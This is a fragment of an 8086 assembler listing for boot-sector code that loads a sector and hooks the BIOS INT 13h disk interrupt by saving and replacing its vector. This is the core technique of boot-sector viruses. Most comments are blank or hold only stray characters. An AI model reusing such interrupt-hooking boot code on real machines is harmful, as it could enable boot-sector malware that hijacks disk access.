Assembler



- 4


7C24 B1 06 MOV CL,6 ; -
7C26 D3 E0 SHL AX,CL ; 1024/16
7C28 8E C0 MOV ES,AX ;
7C2A B8 0201 MOV AX,201H ;
7C2D BB 0000 MOV BX,0
7C30 B9 0002 MOV CX,2
7C33 BA 0000 MOV DX,0
7C36 CD 13 INT 13H
7C38 72 1A JC BOOT_ERROR
ASSUME ES:NEW_DISK
7C3A A1 004C R MOV AX,DISK_VECTOR
7C3D 26: A3 0003 R MOV OLD_VECTOR,AX
7C41 A1 004E R MOV AX,DISK_VECTOR+2 ; -
7C44 26: A3 0005 R MOV OLD_VECTOR+2,AX ; 13h
7C48 C7 06 004C R 0000 MOV DISK_VECTOR,0 ; 17h
7C4E 8C 06 004E R MOV DISK_VECTOR+2,ES ;
7C52 EB 07 JMP SHORT REBOOT ;
7C54 BOOT_ERROR:
7C54 8D 36 7A93 R LEA SI,ERROR_MSG-200H ;
7C58 E8 7C81 R CALL PRINT_MSG
7C5B REBOOT:
7C5B 8D 36 7AA5 R LEA SI,BOOT_MSG-200H ;
7C5F E8 7C81 R CALL PRINT_MSG
7C62 WAIT_BOOT:
7C62 B4 00 MOV AH,0
7C64 CD 16 INT 16H ;